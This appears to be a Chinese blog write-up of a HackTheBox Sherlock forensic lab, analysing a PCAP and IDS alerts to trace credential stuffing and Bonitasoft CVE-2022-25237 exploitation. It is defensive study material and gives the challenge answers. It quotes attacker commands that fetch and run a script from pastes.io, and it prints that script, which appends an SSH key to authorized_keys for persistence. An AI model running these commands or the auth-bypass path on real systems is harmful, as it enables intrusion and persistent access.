分类难度
SOCEasy
Sherlock Scenario
作为一家快速发展的初创公司,Forela 一直在利用业务管理平台。不幸的是,我们的文档很少,而且我们的管理员也不是最有安全意识的。作为我们新的安全提供商,我们希望您查看我们导出的一些 PCAP 和日志数据,以确认我们是否已(或尚未)受到损害。

Tasks

  1. Task 1: 请确认正在运行的应用程序的名称?
  2. Task 2: 我们认为攻击者可能使用了暴力破解攻击类别的子集 - 所执行的攻击的名称是什么?
  3. Task 3: 所利用的漏洞是否分配有 CVE - 如果有,是哪一个?
  4. Task 4: 攻击者利用哪个字符串附加到 API URL 路径来绕过授权过滤器?
  5. Task 5: 撞库攻击中使用了多少种用户名和密码组合?
  6. Task 6: 哪个用户名和密码组合成功?
  7. Task 7: 如果有的话,攻击者使用了哪个文本共享网站?
  8. Task 8: 请提供攻击者用于在我们的主机上获得持久性的公钥的文件名。
  9. Task 9: 您能否确认攻击者修改的文件以获得持久性?
  10. Task 10: 您能确认一下此类持久化机制的MITRE技术ID吗?

相关工具: jq, wireshark

分析流程

两个文件,meerkat-alerts.jsonmeerkat.pcap
使用 wireshark 分析流量包,
统计-> 协议分级
2024-07-26T17:33:56.png
主要是IPV4, 有一些HTTP,SSH,DNS
统计->端点可以看到有151个IPV4

分析一下日志(json文件),这里查看第一个

$ cat meerkat-alerts.json | jq '.[0]'
{
  "ts": "2023-01-19T15:44:49.669971Z",
  "event_type": "alert",
  "src_ip": "89.248.165.187",
  "src_port": 52870,
  "dest_ip": "172.31.6.44",
  "dest_port": 10227,
  "vlan": null,
  "proto": "TCP",
  "app_proto": null,
  "alert": {
    "severity": 2,
    "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 82",
    "category": "Misc Attack",
    "action": "allowed",
    "signature_id": 2403381,
    "gid": 1,
    "rev": 80387,
    "metadata": {
      "signature_severity": [
        "Major"
      ],
      "former_category": null,
      "attack_target": [
        "Any"
      ],
      "deployment": [
        "Perimeter"
      ],
      "affected_product": [
        "Any"
      ],
      "created_at": [
        "2013_10_08"
      ],
      "performance_impact": null,
      "updated_at": [
        "2023_01_18"
      ],
      "malware_family": null,
      "tag": [
        "CINS"
      ]
    }
  },
  "flow_id": 519087154346259,
  "pcap_cnt": 6292,
  "tx_id": null,
  "icmp_code": null,
  "icmp_type": null,
  "tunnel": null,
  "community_id": "1:+BXi7peXaBKuiEO4y3Ya0UlQMMQ="
}

event_typealert,统计一下event_type有哪些值

$ cat meerkat-alerts.json | jq '.[] | .event_type' | sort | uniq -c | sort -nr
261 "alert"
  2 null

只有alertnull
接着统计一下alert中的signature的值

$ cat meerkat-alerts.json | jq '.[] | .alert.signature'| sort | uniq -c | sort -nr
134 "ET INFO User-Agent (python-requests) Inbound to Webserver"
 59 "ET WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237)"
 17 "ET DROP Dshield Block Listed Source group 1"
 12 "ET EXPLOIT Bonitasoft Authorization Bypass M1 (CVE-2022-25237)"
  6 "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management"
  4 "GPL WEB_SERVER DELETE attempt"
  4 "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)"
  4 "ET EXPLOIT Bonitasoft Authorization Bypass and RCE Upload M1 (CVE-2022-25237)"
  3 "ET CINS Active Threat Intelligence Poor Reputation IP group 84"
  3 "ET CINS Active Threat Intelligence Poor Reputation IP group 82"
  2 null
  1 "GPL SNMP public access udp"
  1 "ET SCAN Suspicious inbound to PostgreSQL port 5432"
  1 "ET SCAN Suspicious inbound to Oracle SQL port 1521"

在告警中多次提到 CVE-2022-25237 (Task 3),漏洞是WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1,通过搜索Bonitasoft可以知道,Bontiasoft是一个开源业务流程管理 (BPM) 工具(Task 1)

登陆账号一般采用POST传参,过滤post传参,并对body进行输出

// 第一种过滤方法
 tshark -r meerkat.pcap -Y 'http.request.method == POST' -T fields -e text | cut -d":" -f2- | rev | cut -d',' -f2-|rev | grep @ | sort | uniq -c | sort -nr | wc -l

// 第二种过滤方法
tshark -r meerkat.pcap -Y 'http.request.method == POST' -T fields -e urlencoded-form.value | grep @ | sort | uniq -c | sort -nr | wc -l

比较推荐第二种方法:
通过观察请求可以知道,有几个特点:

  1. POST 请求
  2. 账号为邮箱,带@
    在wireshark中,复制出POST传参的数据所对应的字段名称,打印出来后,进行过滤(带@)的行,进行去重即可得到,共有56对凭据(Task 5)
    攻击手段为Credential Stuffing(Task 2)
    其中有一对seb.broom@forela.co.uk:g0vernm3nt凭据进行认证了四次
    使用wireshark进一步分析

    POST /bonita/loginservice HTTP/1.1
    Host: forela.co.uk:8080
    User-Agent: python-requests/2.28.1
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Cookie: x=x
    Content-Length: 65
    
    username=Mathian.Skidmore%40forela.co.uk&password=TQSNp6XrK&_l=en
    
    HTTP/1.1 401 
    Content-Length: 0
    Date: Thu, 19 Jan 2023 15:37:31 GMT
    Keep-Alive: timeout=20
    Connection: keep-alive
    ------------------------------------------------------------------------
    POST /bonita/loginservice HTTP/1.1
    Host: forela.co.uk:8080
    User-Agent: python-requests/2.28.1
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Cookie: x=x
    Content-Length: 59
    
    username=seb.broom%40forela.co.uk&password=g0vernm3nt&_l=en
    
    HTTP/1.1 204 
    Set-Cookie: bonita.tenant=1; SameSite=Lax
    Set-Cookie: JSESSIONID=745EE4F7243DA99264F07781FBB9B4E3; Path=/bonita; HttpOnly; SameSite=Lax
    Set-Cookie: X-Bonita-API-Token=1ccb3fac-8abd-4cc0-a52e-bb5811198cdf; Path=/bonita; SameSite=Lax
    Set-Cookie: BOS_Locale=en; Path=/; SameSite=Lax
    Date: Thu, 19 Jan 2023 15:38:52 GMT
    Keep-Alive: timeout=20
    Connection: keep-alive

    使用错误的账号密码登陆,响应码为 401 (认证失败或未认证),使用seb.broom@forela.co.uk:g0vernm3nt这对凭据登陆,响应码204 (成功状态响应码)
    因此seb.broom@forela.co.uk:g0vernm3nt(Task 6)就是正确的账号密码

在分析请求的uri,发现了可以的uri,有大量的API接口调用,而CVE-2022-25237就是一个和API相关的RCE漏洞

$ tshark -r meerkat.pcap -Y 'http.request.uri' -T fields -e 'http.request.uri' | grep -i api
Running as user "root" and group "root". This could be dangerous.
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=whoami
/bonita/API/portal/page/130;i18ntranslation
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=cat%20/etc/passwd
/bonita/API/portal/page/131;i18ntranslation
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=wget%20https://pastes.io/raw/bx5gcr0et8
/bonita/API/portal/page/132;i18ntranslation
/bonita/API/pageUpload;i18ntranslation?action=add
/bonita/API/portal/page/;i18ntranslation
/bonita/API/extension/rce?p=0&c=1&cmd=bash%20bx5gcr0et8
/bonita/API/portal/page/133;i18ntranslation

执行命令中的pastes.io(Task 7)是一个文本共享网站,该CVE是使用i18ntranslation(Task 4)来绕过授权过滤器的.
访问https://pastes.io/raw/bx5gcr0et8,是一个bash脚本,获取的公钥文件名为hffgra4unv(Task 8)

#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

将一个公钥写入到文件/home/ubuntu/.ssh/authorized_keys(Task 9)中,并重启ssh服务
MITRE ID为Account Manipulation: SSH Authorized Keys: T1098.004(Task 10)

攻击者的攻击流程:
暴力破解-> 成功登录 -> 利用CVE-2022-25237 -> 下载shell脚本 -> 执行shell脚本,写入公钥 -> 最后应该是进行了ssh连接

总结

这个流量包记录了网站被攻击的流量,攻击者的攻击流程都在流量包中有记录,已经json文件应该是某安全设备针对捕获的流量进行分析,得出是利用的某个CVE,在知道攻击手段后,结合流量能够够容易的有条理的分析攻击链.

Last modification:July 27, 2024
请我喝瓶冰阔落吧